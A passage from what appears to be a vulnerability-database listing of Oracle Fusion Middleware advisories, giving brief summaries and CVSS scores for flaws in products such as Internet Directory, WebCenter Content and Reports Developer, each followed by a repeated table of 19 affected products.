Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Virtual Directory versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with LDAP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical LDAP vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers to fully compromise systems, with a CVSS 3.1 base score of 10.0.
10.0 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network LDAP access to fully compromise the system, with a CVSS 3.1 base score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Internet Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to fully compromise the system, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to potentially gain unauthorized access and modify critical data, rated CVSS 3.1 base score 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially compromise system confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with infrastructure access to potentially compromise system confidentiality, integrity, and availability, rated with a CVSS 3.1 base score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with infrastructure logon to access critical or all accessible data, with a CVSS 3.1 base score of 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with network access via CORBA to fully compromise the product, with a CVSS 3.1 base score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 base score of 9.8 allows full system compromise affecting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 enables unauthenticated remote attackers to gain unauthorized access and manipulate or delete critical data via HTTP, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8 for high impact on confidentiality, integrity, and availability.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability (CVSS 9.3) in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with physical network access to compromise the product, enabling unauthorized data creation, deletion, or modification.
9.3 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
